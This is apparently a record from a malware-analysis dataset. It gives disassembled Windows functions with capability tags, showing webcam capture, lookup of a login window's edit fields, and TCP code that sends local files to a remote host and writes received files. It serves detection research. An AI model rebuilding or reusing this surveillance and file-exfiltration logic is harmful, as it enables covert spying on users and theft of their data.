joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4025c0
Capabilities:
Write file on windows

Disassembly:
sub esp, 0x14
mov ax, word [ecx + 0x14]
push ebx
mov edx, eax
mov word [esp + 4], 0xc0ff
and edx, 0xffff
mov word [esp + 6], 0x1100
and edx, 0x800000ff
mov byte [esp + 8], 8
jns 0x4025f3
dec edx
or edx, 0xffffff00
inc edx
xor ebx, ebx
movzx dx, dl
mov bl, ah
xor ax, ax
shl edx, 8
mov al, bl
add edx, eax
mov ax, word [ecx + 0x10]
mov word [esp + 9], dx
mov edx, eax
and edx, 0xffff
and edx, 0x800000ff
jns 0x402626
dec edx
or edx, 0xffffff00
inc edx
xor ebx, ebx
mov ecx, dword [ecx + 4]
movzx dx, dl
mov bl, ah
xor ax, ax
shl edx, 8
mov al, bl
push ecx
add edx, eax
mov al, 3
mov word [esp + 0xf], dx
mov edx, 1
mov byte [esp + 0x12], dl
mov byte [esp + 0x17], dl
mov byte [esp + 0x1a], dl
push edx
mov byte [esp + 0x15], al
mov byte [esp + 0x1c], al
lea edx, [esp + 0xc]
mov al, 0x11
push 0x13
push edx
mov byte [esp + 0x20], 0
mov byte [esp + 0x21], 2
mov byte [esp + 0x22], al
mov byte [esp + 0x25], al
mov byte [esp + 0x1f], al
call dword [sym.imp.MSVCRT.dll_fwrite]
add esp, 0x10
pop ebx
add esp, 0x14
ret
Function at 0x402690
Capabilities:
Write file on windows

Disassembly:
sub esp, 0x1c
mov edx, dword [0x40b641]
push ebx
mov eax, dword [0x40b639]
push esi
mov esi, ecx
push edi
mov ecx, dword [0x40b63d]
mov edi, dword [sym.imp.MSVCRT.dll_fwrite]
mov dword [esp + 0x19], ecx
mov ecx, dword [esi + 4]
mov dword [esp + 0x1d], edx
push ecx
mov dword [esp + 0x19], eax
mov eax, dword [0x40b645]
push 1
lea edx, [esp + 0x18]
push 0x15
push edx
mov word [esp + 0x20], 0xc4ff
mov word [esp + 0x22], 0x1f00
mov byte [esp + 0x24], 0
mov dword [esp + 0x31], eax
call edi
add esp, 0x10
xor ebx, ebx
mov ecx, dword [esi + 4]
mov al, byte [ebx + 0x40b64c]
push ecx
push 1
lea edx, [esp + 0x17]
push 1
push edx
mov byte [esp + 0x1f], al
call edi
add esp, 0x10
inc ebx
cmp ebx, 0xb
jbe 0x4026eb
mov ecx, dword [0x40b65d]
mov edx, dword [0x40b661]
mov eax, dword [0x40b659]
mov dword [esp + 0x19], ecx
mov ecx, dword [esi + 4]
mov dword [esp + 0x1d], edx
push ecx
mov dword [esp + 0x19], eax
mov eax, dword [0x40b665]
push 1
lea edx, [esp + 0x18]
push 0x15
push edx
mov byte [esp + 0x24], 1
mov dword [esp + 0x31], eax
call edi
add esp, 0x10
xor ebx, ebx
mov ecx, dword [esi + 4]
mov al, byte [ebx + 0x40b66c]
push ecx
push 1
lea edx, [esp + 0x17]
push 1
push edx
mov byte [esp + 0x1f], al
call edi
add esp, 0x10
inc ebx
cmp ebx, 0xb
jbe 0x40274c
mov ecx, dword [0x40b67d]
mov edx, dword [0x40b681]
mov eax, dword [0x40b679]
mov dword [esp + 0x19], ecx
mov ecx, dword [esi + 4]
mov dword [esp + 0x1d], edx
push ecx
mov dword [esp + 0x19], eax
mov eax, dword [0x40b685]
push 1
lea edx, [esp + 0x18]
push 0x15
push edx
mov word [esp + 0x22], 0xb500
mov byte [esp + 0x24], 0x10
mov dword [esp + 0x31], eax
call edi
add esp, 0x10
xor ebx, ebx
mov ecx, dword [esi + 4]
mov al, byte [ebx + 0x40b68c]
push ecx
push 1
lea edx, [esp + 0x17]
push 1
push edx
mov byte [esp + 0x1f], al
call edi
add esp, 0x10
inc ebx
cmp ebx, 0xa1
jbe 0x4027b4
mov ecx, dword [0x40b735]
mov edx, dword [0x40b739]
mov eax, dword [0x40b731]
mov dword [esp + 0x19], ecx
mov ecx, dword [esi + 4]
mov dword [esp + 0x1d], edx
push ecx
mov dword [esp + 0x19], eax
mov eax, dword [0x40b73d]
push 1
lea edx, [esp + 0x18]
push 0x15
push edx
mov byte [esp + 0x24], 0x11
mov dword [esp + 0x31], eax
call edi
add esp, 0x10
xor ebx, ebx
mov ecx, dword [esi + 4]
mov al, byte [ebx + 0x40b744]
push ecx
push 1
lea edx, [esp + 0x17]
push 1
push edx
mov byte [esp + 0x1f], al
call edi
add esp, 0x10
inc ebx
cmp ebx, 0xa1
jbe 0x402818
pop edi
pop esi
pop ebx
add esp, 0x1c
ret

Function at 0x402850
Capabilities:
Write file on windows

Disassembly:
sub esp, 0x10
xor al, al
mov dl, 0x11
mov byte [esp + 6], al
mov byte [esp + 0xb], al
mov byte [esp + 0xd], al
mov eax, dword [ecx + 4]
push eax
push 1
lea ecx, [esp + 8]
push 0xe
push ecx
mov word [esp + 0x10], 0xdaff
mov word [esp + 0x12], 0xc00
mov byte [esp + 0x14], 3
mov byte [esp + 0x15], 1
mov byte [esp + 0x17], 2
mov byte [esp + 0x18], dl
mov byte [esp + 0x19], 3
mov byte [esp + 0x1a], dl
mov byte [esp + 0x1c], 0x3f
call dword [sym.imp.MSVCRT.dll_fwrite]
add esp, 0x20
ret
Function at 0x403d40
Capabilities:
Capture webcam image

Disassembly:
push ebx
push ebp
push esi
push edi
push 0
push 0
mov ebp, ecx
push 0
push 0
push ebp
push 0x403e80
mov dword [ebp + 0x10], 0
call sub.MFC42.DLL_AfxBeginThread
push 0
push 0
push 1
push 1
push 0
push 0
push SysReAllocString
push 0
call sub.AVICAP32.dll_capCreateCaptureWindowA
mov esi, eax
xor eax, eax
test esi, esi
setne al
mov edi, eax
test edi, edi
je 0x403e5b
push esi
call dword [sym.imp.USER32.dll_IsWindow]
mov ebx, dword [sym.imp.USER32.dll_SendMessageA]
test eax, eax
je 0x403dac
push 0
push 0
push 0x40a
push esi
call ebx
mov edi, eax
jmp 0x403dae
xor edi, edi
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
test edi, edi
je 0x403e5b
mov edi, dword [sym.imp.USER32.dll_IsWindow]
push esi
call edi
test eax, eax
je 0x403dda
push 0
push 0
push 0x43d
push esi
call ebx
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
push esi
call edi
test eax, eax
je 0x403dfc
push 0
push 0
push 0x43d
push esi
call ebx
mov edi, eax
jmp 0x403dfe
xor edi, edi
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
test edi, edi
je 0x403e33
push esi
call dword [sym.imp.USER32.dll_IsWindow]
test eax, eax
je 0x403e2b
lea ecx, [ebp + 8]
call sub.MFC42.DLL_CString::LockBuffer
push eax
push 0
push 0x419
push esi
call ebx
lea ecx, [ebp + 8]
call sub.MFC42.DLL_CString::UnlockBuffer
push esi
call dword [sym.imp.USER32.dll_IsWindow]
test eax, eax
je 0x403e4e
push 0
push 0
push 0x40b
push esi
call ebx
mov edi, eax
jmp 0x403e50
xor edi, edi
push 0x5dc
call dword [sym.imp.KERNEL32.dll_Sleep]
test esi, esi
je 0x403e66
push esi
call dword [sym.imp.USER32.dll_DestroyWindow]
mov eax, edi
pop edi
mov dword [ebp + 0x10], 1
pop esi
pop ebp
pop ebx
ret
Function at 0x405460
Capabilities:
Access peb ldr_data
Get kernel32 base address

Disassembly:
push 0xffffffffffffffff
push 0x40a08a
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ecx
push ebx
push ebp
push esi
mov esi, ecx
push edi
mov dword [esp + 0x10], esi
mov dword [esi], 0x40b898
xor edi, edi
lea ecx, [esi + 8]
mov dword [esp + 0x1c], edi
call sub.MFC42.DLL_CString::CString_2
lea ebp, [esi + 0x28]
mov byte [esp + 0x1c], 1
mov ecx, ebp
call sub.MFC42.DLL_CString::CString_2
lea ecx, [esi + 0x48]
mov byte [esp + 0x1c], 2
call sub.MFC42.DLL_CString::CString_2
lea ecx, [esi + 0x4c]
mov byte [esp + 0x1c], 3
call sub.MFC42.DLL_CString::CString_2
lea ebx, [esi + 0x50]
mov byte [esp + 0x1c], 4
mov ecx, ebx
call sub.MFC42.DLL_CString::CString_2
lea ecx, [esi + 0x54]
mov byte [esp + 0x1c], 5
call sub.MFC42.DLL_CString::CString_2
mov ecx, dword [esp + 0x28]
mov edx, dword [esp + 0x2c]
mov eax, dword [esp + 0x24]
mov dword [esi + 0x30], ecx
push edx
mov ecx, ebp
mov byte [esp + 0x20], 6
mov dword [esi], 0x40b884
mov dword [esi + 0x2c], eax
call sub.MFC42.DLL_CString::operator
push 0x40eb00
mov ecx, ebx
mov dword [esi + 0x10], edi
mov dword [esi + 0x58], edi
call fcn.0040963e
push 0x40eb00
lea ecx, [esi + 0x54]
call fcn.0040963e
mov eax, 1
mov dword [esi + 0x24], edi
mov dword [esi + 0xc], eax
mov dword [esi + 4], eax
mov eax, dword [esi + 0x30]
mov dword [esi + 0x20], edi
cmp eax, edi
mov dword [esi + 0x1c], edi
mov dword [esi + 0x18], edi
mov dword [esi + 0x14], edi
mov dword [esi + 0x3c], edi
mov dword [esi + 0x38], edi
mov dword [esi + 0x34], edi
je 0x405555
lea ecx, [esi + 0x40]
push ecx
push eax
call dword [sym.imp.USER32.dll_GetWindowThreadProcessId]
mov dword [esi + 0x44], eax
mov eax, dword [esi + 0x30]
mov ebx, dword [sym.imp.USER32.dll_FindWindowExA]
cmp eax, edi
je 0x405573
push str.YLoginWnd
push str.32770
push edi
push eax
call ebx
mov dword [esi + 0x34], eax
mov eax, dword [esi + 0x34]
cmp eax, edi
je 0x405587
push edi
push str.Edit
push edi
push eax
call ebx
mov dword [esi + 0x38], eax
mov eax, dword [esi + 0x34]
cmp eax, edi
je 0x40559e
mov edx, dword [esi + 0x38]
push edi
push str.Edit
push edx
push eax
call ebx
mov dword [esi + 0x3c], eax
mov ecx, dword [esp + 0x14]
mov eax, esi
pop edi
pop esi
pop ebp
pop ebx
mov dword fs:[0], ecx
add esp, 0x10
ret 0xc
Function at 0x4072c0
Capabilities:
Create tcp socket
Initialize winsock library

Disassembly:
push ebx
push esi
push edi
mov ebx, ecx
push 0x200
call sub.MFC42.DLL_operatornew
push 0x100
mov dword [ebx + 0x1ac], eax
call sub.MFC42.DLL_operatornew
mov edx, eax
mov edi, str.TheComputerOfTheGhost
or ecx, 0xffffffff
xor eax, eax
add esp, 8
mov dword [ebx + 0x1b0], edx
mov dword [ebx + 0x190], 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
push ebx
mov eax, ecx
mov esi, edi
mov edi, edx
push 0x202
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
call dword [sym.imp.WS2_32.dll_WSAStartup]
test eax, eax
je 0x407341
mov ecx, dword [ebx + 0x1ac]
push str.Error_at_WSAStartup___n
push ecx
call dword [sym.imp.MSVCRT.dll_sprintf]
add esp, 8
mov eax, ebx
pop edi
pop esi
pop ebx
ret
push 6
push 1
push 2
call dword [sym.imp.WS2_32.dll_socket]
cmp eax, 0xffffffff
mov dword [ebx + 0x190], eax
jne 0x40737a
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
mov edx, dword [ebx + 0x1ac]
push eax
push str.Error_at_socket__:__ld_n
push edx
call dword [sym.imp.MSVCRT.dll_sprintf]
add esp, 0xc
mov eax, ebx
pop edi
pop esi
pop ebx
ret
mov dword [ebx + 0x194], eax
pop edi
mov eax, ebx
pop esi
pop ebx
ret

Function at 0x407390
Capabilities:
Connect socket
Resolve dns

Disassembly:
mov eax, dword [esp + 4]
push esi
push edi
mov esi, ecx
push eax
call dword [sym.imp.WS2_32.dll_gethostbyname]
test eax, eax
je 0x4073ac
mov ecx, dword [eax + 0xc]
mov edx, dword [ecx]
mov eax, dword [edx]
jmp 0x4073b0
mov eax, dword [esp + 0xc]
push eax
call dword [sym.imp.WS2_32.dll_inet_ntoa]
lea edi, [esi + 0x198]
push eax
mov word [edi], 2
call dword [sym.imp.WS2_32.dll_inet_addr]
mov dword [esi + 0x19c], eax
mov eax, dword [esp + 0x10]
push eax
call dword [sym.imp.WS2_32.dll_htons]
mov ecx, dword [esi + 0x190]
push 0x10
push edi
push ecx
mov word [esi + 0x19a], ax
call dword [sym.imp.WS2_32.dll_connect]
mov edi, eax
cmp edi, 0xffffffff
jne 0x40740d
mov edx, dword [esi + 0x1ac]
push str.Failed_to_connect._n
push edx
call dword [sym.imp.MSVCRT.dll_sprintf]
add esp, 8
mov eax, edi
pop edi
neg eax
sbb eax, eax
pop esi
ret 8

Function at 0x407480
Capabilities:
Read and send data from client to server
Read file on windows
Send data
Send data on socket

Disassembly:
mov eax, dword [esp + 4]
sub esp, 0x408
push ebx
push ebp
push esi
push edi
push 0x40e2b8
mov ebp, ecx
push eax
call dword [sym.imp.MSVCRT.dll_fopen]
mov edi, dword [sym.imp.MSVCRT.dll_fread]
mov ebx, dword [sym.imp.WS2_32.dll_send]
add esp, 8
mov esi, eax
push esi
push 0x400
lea ecx, [esp + 0x18]
push 1
push ecx
call edi
add esp, 0x10
test eax, eax
je 0x4074d4
push 0
push eax
mov eax, dword [ebp + 0x190]
lea edx, [esp + 0x18]
push edx
push eax
call ebx
cmp eax, 0x400
jge 0x4074ad
push esi
call dword [sym.imp.MSVCRT.dll_fclose]
add esp, 4
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x408
ret 8
Function at 0x407900
Capabilities:
Create tcp socket
Initialize winsock library

Disassembly:
push ebx
push esi
mov ebx, ecx
push edi
xor eax, eax
push 0x200
mov dword [ebx + 0x1b4], eax
mov dword [ebx + 0x1b8], eax
mov dword [ebx + 0x1bc], eax
mov dword [ebx + 0x1c0], eax
call sub.MFC42.DLL_operatornew
push 0x100
mov dword [ebx + 0x1ac], eax
call sub.MFC42.DLL_operatornew
mov edx, eax
mov edi, str.TheComputerOfTheGhost
or ecx, 0xffffffff
xor eax, eax
add esp, 8
mov dword [ebx + 0x1b0], edx
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
push ebx
mov eax, ecx
mov esi, edi
mov edi, edx
push 0x202
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
call dword [sym.imp.WS2_32.dll_WSAStartup]
mov esi, dword [sym.imp.MSVCRT.dll_sprintf]
test eax, eax
je 0x40798d
mov ecx, dword [ebx + 0x1ac]
push str.Error_at_WSAStartup___n
push ecx
call esi
add esp, 8
push 6
push 1
push 2
call dword [sym.imp.WS2_32.dll_socket]
cmp eax, 0xffffffff
mov dword [ebx + 0x190], eax
jne 0x4079c8
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
mov edx, dword [ebx + 0x1ac]
push eax
push str.Error_at_socket__:__ld_n
push edx
call esi
add esp, 0xc
call dword [sym.imp.WS2_32.dll_WSACleanup]
pop edi
mov eax, ebx
pop esi
pop ebx
ret
mov dword [ebx + 0x194], eax
pop edi
mov eax, ebx
pop esi
pop ebx
ret

Function at 0x4079f0
Capabilities:
Connect socket
Resolve dns
Set socket configuration

Disassembly:
push ecx
mov eax, dword [esp + 8]
push esi
push edi
mov esi, ecx
push eax
call dword [sym.imp.WS2_32.dll_gethostbyname]
test eax, eax
je 0x407a0d
mov ecx, dword [eax + 0xc]
mov edx, dword [ecx]
mov eax, dword [edx]
jmp 0x407a11
mov eax, dword [esp + 0x10]
push eax
call dword [sym.imp.WS2_32.dll_inet_ntoa]
lea edi, [esi + 0x198]
push eax
mov word [edi], 2
call dword [sym.imp.WS2_32.dll_inet_addr]
mov dword [esi + 0x19c], eax
mov eax, dword [esp + 0x14]
push eax
call dword [sym.imp.WS2_32.dll_htons]
mov ecx, dword [esi + 0x190]
push 0x10
push edi
push ecx
mov word [esi + 0x19a], ax
call dword [sym.imp.WS2_32.dll_connect]
cmp eax, 0xffffffff
jne 0x407a7b
mov edx, dword [esi + 0x1ac]
push str.Failed_to_connect._n
push edx
call dword [sym.imp.MSVCRT.dll_sprintf]
add esp, 8
call dword [sym.imp.WS2_32.dll_WSACleanup]
pop edi
or eax, 0xffffffff
pop esi
pop ecx
ret 8
mov ecx, dword [esi + 0x190]
mov edi, dword [sym.imp.WS2_32.dll_setsockopt]
lea eax, [esp + 0x10]
push 4
push eax
push 0x1006
push 0xffff
push ecx
mov dword [esp + 0x24], 0x7530
call edi
mov eax, dword [esi + 0x190]
lea edx, [esp + 8]
push 4
push edx
push 0x1005
push 0xffff
push eax
mov dword [esp + 0x1c], 0x7530
call edi
pop edi
xor eax, eax
pop esi
pop ecx
ret 8
Function at 0x407ad0
Capabilities:
Set socket configuration

Disassembly:
sub esp, 0x14
push ebx
push ebp
mov ebp, dword [sym.imp.WS2_32.dll_ioctlsocket]
push esi
mov esi, ecx
lea eax, [esp + 0xc]
push edi
push eax
mov ecx, dword [esi + 0x194]
mov ebx, 1
push 0x8004667e
push ecx
mov dword [esp + 0x1c], ebx
call ebp
push 0x64
call dword [sym.imp.KERNEL32.dll_Sleep]
mov eax, dword [esp + 0x28]
lea edi, [eax + eax*4]
shl edi, 1
cmp edi, ebx
jl 0x407b67
mov edx, dword [esi + 0x194]
push 0
push 0
push edx
call dword [sym.imp.WS2_32.dll_accept]
mov dword [esi + 0x1a8], eax
mov eax, dword [esi + 0x1b8]
test eax, eax
je 0x407b3a
mov ecx, dword [esi + 0x1c0]
push ecx
call eax
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
test eax, eax
je 0x407b51
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
cmp eax, 0x2733
jne 0x407b67
cmp dword [esi + 0x1a8], 0xffffffff
jne 0x407b67
push 0x64
call dword [sym.imp.KERNEL32.dll_Sleep]
inc ebx
cmp ebx, edi
jle 0x407b10
mov eax, dword [esi + 0x194]
lea edx, [esp + 0x14]
push edx
xor edi, edi
push 0x8004667e
push eax
mov dword [esp + 0x20], edi
call ebp
mov eax, dword [esi + 0x1a8]
cmp eax, 0xffffffff
jne 0x407b97
pop edi
pop esi
pop ebp
or eax, eax
pop ebx
add esp, 0x14
ret 4
lea ecx, [esp + 0x18]
mov dword [esi + 0x190], eax
push ecx
push 0x8004667e
push eax
mov dword [esp + 0x24], edi
call ebp
mov eax, dword [esi + 0x190]
mov edi, dword [sym.imp.WS2_32.dll_setsockopt]
lea edx, [esp + 0x1c]
push 4
push edx
push 0x1006
mov ebx, 0x7530
push 0xffff
push eax
mov dword [esp + 0x30], ebx
call edi
mov edx, dword [esi + 0x190]
lea ecx, [esp + 0x20]
push 4
push ecx
push 0x1005
push 0xffff
push edx
mov dword [esp + 0x34], ebx
call edi
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x14
ret 4
Function at 0x407ce0
Capabilities:
Receive data
Receive data on socket

Disassembly:
sub esp, 0x408
mov al, byte [0x40eb00]
push ebx
push esi
mov esi, ecx
push edi
mov byte [esp + 0xc], al
mov ecx, 0x101
xor eax, eax
lea edi, [esp + 0xd]
mov edx, dword [esi + 0x190]
rep stosd dword es:[edi], eax
push 0
lea ecx, [esp + 0x10]
stosb byte es:[edi], al
mov edi, dword [sym.imp.WS2_32.dll_recv]
push 1
push ecx
push edx
call edi
cmp eax, 1
jl 0x407e14
mov al, byte [esp + 0xc]
mov bl, 0x3e
cmp al, bl
jne 0x407e14
mov ecx, dword [esi + 0x190]
push 0
lea eax, [esp + 0x11]
push 1
push eax
push ecx
call edi
cmp eax, 1
jl 0x407e14
cmp byte [esp + 0xd], bl
jne 0x407e14
mov eax, dword [esi + 0x190]
push 0
lea edx, [esp + 0x12]
push 1
push edx
push eax
call edi
cmp eax, 1
jl 0x407e14
mov edx, dword [esi + 0x190]
push 0
lea ecx, [esp + 0x13]
push 1
push ecx
push edx
call edi
cmp eax, 1
jl 0x407e14
movsx ebx, byte [esp + 0xf]
mov eax, dword [esp + 0xe]
shl ebx, 8
and eax, 0xff
add ebx, eax
cmp ebx, 0x400
jg 0x407e14
lea ecx, [ebx - 4]
lea edx, [esp + 0x10]
push ecx
push edx
mov ecx, esi
call fcn.00408300
mov eax, dword [esp + 0x418]
mov ecx, ebx
mov edx, ecx
lea esi, [esp + 0xc]
mov edi, eax
push 0x40e8c8
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov esi, dword [sym.imp.MSVCRT.dll_strtok]
mov byte [ebx + eax], 0
lea eax, [esp + 0x14]
push eax
call esi
push 0x40e8c8
push 0
call esi
push 0x40e8c8
push 0
call esi
push eax
call dword [sym.imp.MSVCRT.dll_atoi]
add esp, 0x1c
mov eax, ebx
pop edi
pop esi
pop ebx
add esp, 0x408
ret 4
pop edi
pop esi
xor eax, eax
pop ebx
add esp, 0x408
ret 4

Function at 0x407e30
Capabilities:
Write file on windows

Disassembly:
sub esp, 0x410
mov eax, dword [esp + 0x414]
push edi
push 0x40e144
mov edi, ecx
push eax
call dword [sym.imp.MSVCRT.dll_fopen]
add esp, 8
mov dword [esp + 8], eax
test eax, eax
je 0x407eed
push ebx
mov ebx, dword [esp + 0x420]
push ebp
push esi
mov dword [esp + 0x10], ebx
xor ebp, ebp
cmp ebx, 0x400
mov eax, 0x400
jge 0x407e7a
mov eax, ebx
lea ecx, [esp + 0x18]
push eax
push ecx
mov ecx, edi
call fcn.00408300
mov esi, eax
test esi, esi
jle 0x407eca
mov edx, dword [esp + 0x14]
lea eax, [esp + 0x18]
push edx
push 1
push esi
push eax
call dword [sym.imp.MSVCRT.dll_fwrite]
mov eax, dword [edi + 0x1b4]
add esp, 0x10
sub ebx, esi
add ebp, esi
test eax, eax
je 0x407ec0
mov ecx, dword [esp + 0x10]
mov edx, dword [edi + 0x1bc]
push ecx
push ebp
push edx
call eax
cmp ebx, 1
jl 0x407eca
cmp esi, 1
jge 0x407e6b
mov eax, dword [esp + 0x14]
push eax
call dword [sym.imp.MSVCRT.dll_fclose]
add esp, 4
test esi, esi
pop esi
pop ebp
pop ebx
jle 0x407eed
mov eax, dword [esp + 4]
pop edi
add esp, 0x410
ret 8
or eax, 0xffffffff
pop edi
add esp, 0x410
ret 8
Function at 0x407f00
Capabilities:
Read file on windows

Disassembly:
mov eax, dword [esp + 4]
sub esp, 0x40c
push ebx
push edi
push 0x40e2b8
mov ebx, ecx
push eax
call dword [sym.imp.MSVCRT.dll_fopen]
mov edi, eax
add esp, 8
test edi, edi
je 0x407fba
push ebp
push esi
mov esi, dword [sym.imp.MSVCRT.dll_fseek]
push 2
push 0
push edi
call esi
push edi
call dword [sym.imp.MSVCRT.dll_ftell]
push 0
push 0
push edi
mov dword [esp + 0x2c], eax
call esi
add esp, 0x1c
xor ebp, ebp
push edi
push 0x400
lea ecx, [esp + 0x1c]
push 1
push ecx
call dword [sym.imp.MSVCRT.dll_fread]
mov esi, eax
add esp, 0x10
test esi, esi
je 0x407f78
lea edx, [esp + 0x14]
push esi
push edx
mov ecx, ebx
call fcn.00408290
mov esi, eax
mov eax, dword [ebx + 0x1b4]
add ebp, esi
test eax, eax
je 0x407f93
mov ecx, dword [esp + 0x10]
mov edx, dword [ebx + 0x1bc]
push ecx
push ebp
push edx
call eax
cmp esi, 0x400
jge 0x407f4d
push edi
call dword [sym.imp.MSVCRT.dll_fclose]
add esp, 4
test esi, esi
pop esi
pop ebp
jle 0x407fba
mov eax, dword [esp + 8]
pop edi
pop ebx
add esp, 0x40c
ret 4
pop edi
or eax, 0xffffffff
pop ebx
add esp, 0x40c
ret 4
Function at 0x408030
Capabilities:
Create directory

Disassembly:
push 0xffffffffffffffff
push 0x40a3f8
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x620
push esi
mov esi, ecx
mov dword [esp + 4], esi
lea eax, [esp + 0x114]
push 0x104
push eax
push 0
mov dword [esp + 0x638], 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea ecx, [esp + 0x114]
push 0x5c
push ecx
call dword [sym.imp.MSVCRT.dll_strrchr]
mov byte [eax + 1], 0
mov eax, dword [esp + 0x640]
add esp, 8
test eax, eax
je 0x40809d
push 0x78
mov ecx, esi
call fcn.00407ad0
lea edx, [esp + 0x21c]
mov ecx, esi
push edx
call fcn.00407ce0
test eax, eax
je 0x4081fe
mov esi, dword [sym.imp.MSVCRT.dll_strtok]
push ebx
push ebp
push edi
lea eax, [esp + 0x22c]
push 0x40e8c8
push eax
call esi
push 0x40e8c8
push 0
mov ebp, eax
call esi
push 0x40e8c8
push 0
mov ebx, eax
call esi
push eax
call dword [sym.imp.MSVCRT.dll_atoi]
mov dword [esp + 0x30], eax
lea edi, [esp + 0x13c]
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
lea edx, [esp + 0x34]
mov eax, ecx
mov esi, edi
mov edi, edx
lea edx, [esp + 0x34]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
xor eax, eax
and ecx, 3
push 0x40eb00
rep movsb byte es:[edi], byte [esi]
mov edi, ebp
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov ebp, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebp
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov eax, dword [esp + 0x660]
mov ecx, ebp
mov ebp, dword [sym.imp.MSVCRT.dll__mbscmp]
and ecx, 3
rep movsb byte es:[edi], byte [esi]
push eax
call ebp
add esp, 0x24
test eax, eax
jne 0x408168
lea ecx, [esp + 0x18]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
mov edi, 0x40e488
or ecx, 0xffffffff
xor eax, eax
lea edx, [esp + 0x18]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
push 0x40eb00
mov esi, edi
mov edi, edx
mov edx, ecx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, edx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
lea edx, [esp + 0x1c]
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov edi, ebx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov ebx, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov eax, dword [esp + 0x644]
mov ecx, ebx
and ecx, 3
push eax
rep movsb byte es:[edi], byte [esi]
call ebp
add esp, 8
test eax, eax
pop edi
pop ebp
pop ebx
je 0x4081e7
mov ecx, dword [esp + 8]
mov edx, dword [esp + 0x634]
push ecx
push edx
jmp 0x4081f1
mov eax, dword [esp + 8]
lea ecx, [esp + 0xc]
push eax
push ecx
mov ecx, dword [esp + 0xc]
call fcn.00407e30
mov esi, dword [esp + 4]
mov eax, dword [esp + 0x638]
test eax, eax
je 0x408210
mov ecx, esi
call fcn.00407420
lea ecx, [esp + 0x634]
mov dword [esp + 0x62c], 0xffffffff
call sub.MFC42.DLL_CString::CString
mov ecx, dword [esp + 0x624]
mov eax, 1
pop esi
mov dword fs:[0], ecx
add esp, 0x62c
ret 8
Function at 0x408250
Capabilities:
Get local ipv4 addresses
Get socket information

Disassembly:
sub esp, 0x14
lea eax, [esp]
lea edx, [esp + 4]
push eax
mov eax, dword [ecx + 0x190]
push edx
push eax
mov dword [esp + 0xc], 0x10
call dword [sym.imp.WS2_32.dll_getsockname]
mov ecx, dword [esp + 8]
push ecx
call dword [sym.imp.WS2_32.dll_inet_ntoa]
mov ecx, dword [esp + 0x18]
push eax
call fcn.0040963e
add esp, 0x14
ret 4

Function at 0x408290
Capabilities:
Send data
Send data on socket

Disassembly:
push ebx
push ebp
push esi
mov esi, dword [esp + 0x14]
test esi, esi
push edi
mov ebx, ecx
jle 0x4082e5
mov ebp, dword [sym.imp.WS2_32.dll_send]
mov edi, dword [esp + 0x14]
mov eax, dword [esp + 0x18]
cmp esi, 0x200
jle 0x4082c5
mov eax, dword [ebx + 0x190]
push 0
push 0x200
push edi
push eax
jmp 0x4082d4
test esi, esi
jle 0x4082e9
mov ecx, dword [ebx + 0x190]
push 0
push esi
push edi
push ecx
call ebp
cmp eax, 1
jl 0x4082e9
sub esi, eax
add edi, eax
test esi, esi
jg 0x4082ac
jmp 0x4082e9
mov eax, dword [esp + 0x18]
pop edi
pop esi
pop ebp
cmp eax, 0xffffffff
pop ebx
jne 0x4082f7
or eax, eax
ret 8
mov eax, dword [esp + 8]
ret 8

Function at 0x408300
Capabilities:
Receive data
Receive data on socket

Disassembly:
push ebx
mov ebx, ecx
mov ecx, dword [esp + 0xc]
push ebp
mov ebp, dword [esp + 0xc]
push esi
mov edx, ecx
push edi
xor eax, eax
mov edi, ebp
shr ecx, 2
rep stosd dword es:[edi], eax
mov ecx, edx
xor esi, esi
and ecx, 3
rep stosb byte es:[edi], al
mov eax, edx
test eax, eax
jle 0x408351
mov edi, dword [sym.imp.WS2_32.dll_recv]
mov ecx, dword [ebx + 0x190]
push 0
lea eax, [esi + ebp]
push 1
push eax
push ecx
call edi
test eax, eax
je 0x40835a
cmp eax, 0xffffffff
je 0x408363
mov eax, dword [esp + 0x18]
inc esi
cmp esi, eax
jl 0x40832e
mov eax, esi
pop edi
pop esi
pop ebp
pop ebx
ret 8
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
ret 8
pop edi
pop esi
pop ebp
or eax, 0xffffffff
pop ebx
ret 8